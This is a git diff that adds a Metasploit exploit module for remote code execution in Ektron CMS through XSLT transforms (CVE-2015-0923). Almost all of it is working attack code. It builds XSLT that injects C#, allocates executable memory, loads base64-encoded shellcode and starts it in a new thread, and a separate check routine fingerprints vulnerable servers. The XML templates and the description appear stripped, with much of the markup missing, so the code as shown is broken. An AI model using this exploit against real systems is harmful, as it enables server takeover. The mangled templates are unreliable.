diff --git a/modules/exploits/windows/http/ektron_xslt_exec_ws.rb b/modules/exploits/windows/http/ektron_xslt_exec_ws.rb
new file mode 100644
index 0000000000..51d05d70d8
--- /dev/null
+++ b/modules/exploits/windows/http/ektron_xslt_exec_ws.rb
@@ -0,0 +1,211 @@
+##
+# This module requires Metasploit: http://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+require 'msf/core'
+require 'msf/core/exploit/file_dropper'
+
+class MetasploitModule < Msf::Exploit::Remote
+ Rank = ExcellentRanking
+
+ include Msf::Exploit::Remote::HttpClient
+ include Msf::Exploit::EXE
+
+ def initialize(info = {})
+ super(update_info(info,
+ 'Name' => 'Ektron 8.5, 8.7 < sp2, 9.0 < sp1 XSLT Transform Remote Code Execution',
+ 'Description' => %q{
+ },
+ 'Author' => [
+ 'catatonicprime'
+ ],
+ 'License' => MSF_LICENSE,
+ 'References' =>
+ [
+ [ 'CVE', '2015-0923' ],
+ [ 'US-CERT-VU', '377644' ],
+ [ 'URL', 'http://www.websecuritywatch.com/xxe-arbitrary-code-execution-in-ektron-cms/' ]
+ ],
+ 'Payload' =>
+ {
+ 'Space' => 2048,
+ 'StackAdjustment' => -3500
+ },
+ 'Platform' => 'win',
+ 'Privileged' => true,
+ 'Targets' =>
+ [
+ ['Windows 2008 R2 / Ektron CMS400 8.5', { 'Arch' => [ ARCH_X86_64, ARCH_X86 ] }]
+ ],
+ 'DefaultTarget' => 0,
+ 'DisclosureDate' => 'Feb 05 2015'
+ ))
+
+ register_options(
+ [
+ OptInt.new('HTTP_DELAY', [true, 'Time that the HTTP Server will wait for the VBS payload request', 60]),
+ OptString.new('TARGETURI', [true, 'The URI path of the Ektron CMS', '/cms400min/']),
+ OptEnum.new('TARGETOP',
+ [
+ true,
+ 'The vulnerable web service operation to exploit',
+ 'ContentBlockEx',
+ [
+ 'ContentBlockEx',
+ 'GetBookmarkString',
+ 'GetContentFlaggingString',
+ 'GetContentRatingString',
+ 'GetMessagingString'
+ ]
+ ])
+ ], self.class )
+ end
+
+
+ def vulnerable_param
+ return 'Xslt' if datastore['TARGETOP'] == 'ContentBlockEx'
+ 'xslt'
+ end
+
+ def required_params
+ return '' if datastore['TARGETOP'] == 'ContentBlockEx'
+ ''
+ end
+
+ def target_operation
+ datastore['TARGETOP']
+ end
+
+ def prologue
+ <<-XSLT
+
+
+
+ <#{target_operation} xmlns="http://www.ektron.com/CMS400/Webservice">
+ #{required_params}
+ <#{vulnerable_param}>
+
+
+XSLT
+ end
+
+ def epilogue
+ <<-XSLT
+
+
+
+
+
+ ]]>
+ #{vulnerable_param}>
+ #{target_operation}>
+
+
+XSLT
+ end
+
+ def check
+
+ fingerprint = rand_text_alpha(5 + rand(5))
+ xslt_data = <<-XSLT
+#{prologue}
+ public string xml() {
+ return "#{fingerprint}";
+ }
+#{epilogue}
+XSLT
+
+ res = send_request_cgi(
+ {
+ 'uri' => "#{uri_path}WorkArea/ServerControlWS.asmx",
+ 'version' => '1.1',
+ 'method' => 'POST',
+ 'ctype' => "text/xml; charset=UTF-8",
+ 'headers' => {
+ "Referer" => build_referer
+ },
+ 'data' => xslt_data
+ })
+
+ if res and res.code == 200 and res.body =~ /#{fingerprint}/ and res.body !~ /Error/
+ return Exploit::CheckCode::Vulnerable
+ end
+ return Exploit::CheckCode::Safe
+ end
+
+ def uri_path
+ uri_path = target_uri.path
+ uri_path << "/" if uri_path[-1, 1] != "/"
+ uri_path
+ end
+
+ def build_referer
+ if datastore['SSL']
+ schema = "https://"
+ else
+ schema = "http://"
+ end
+
+ referer = schema
+ referer << rhost
+ referer << ":#{rport}"
+ referer << uri_path
+ referer
+ end
+
+ def exploit
+
+ print_status("Generating the EXE Payload and the XSLT...")
+ fingerprint = rand_text_alpha(5 + rand(5))
+
+ xslt_data = <<-XSLT
+#{prologue}
+ private static UInt32 MEM_COMMIT = 0x1000;
+ private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;
+
+ [System.Runtime.InteropServices.DllImport("kernel32")]
+ private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr, UInt32 size, UInt32 flAllocationType, UInt32 flProtect);
+
+ [System.Runtime.InteropServices.DllImport("kernel32")]
+ private static extern IntPtr CreateThread(UInt32 lpThreadAttributes, UInt32 dwStackSize, UInt32 lpStartAddress, IntPtr param, UInt32 dwCreationFlags, ref UInt32 lpThreadId);
+
+ public string xml()
+ {
+ string shellcode64 = @"#{Rex::Text.encode_base64(payload.encoded)}";
+ byte[] shellcode = System.Convert.FromBase64String(shellcode64);
+ UInt32 funcAddr = VirtualAlloc(0, (UInt32)shellcode.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
+ System.Runtime.InteropServices.Marshal.Copy(shellcode , 0, (IntPtr)(funcAddr), shellcode .Length);
+ IntPtr hThread = IntPtr.Zero;
+ IntPtr pinfo = IntPtr.Zero;
+ UInt32 threadId = 0;
+ hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId);
+ return "#{fingerprint}";
+ }
+#{epilogue}
+XSLT
+
+ print_status("Trying to run the xslt transformation...")
+ res = send_request_cgi(
+ {
+ 'uri' => "#{uri_path}WorkArea/ServerControlWS.asmx",
+ 'version' => '1.1',
+ 'method' => 'POST',
+ 'ctype' => "text/xml; charset=UTF-8",
+ 'headers' => {
+ "Referer" => build_referer
+ },
+ 'data' => xslt_data
+ })
+ if res and res.code == 200 and res.body =~ /#{fingerprint}/ and res.body !~ /Error/
+ print_good("Exploitation was successful")
+ else
+ fail_with(Failure::Unknown, "There was an unexpected response to the xslt transformation request")
+ end
+
+ end
+end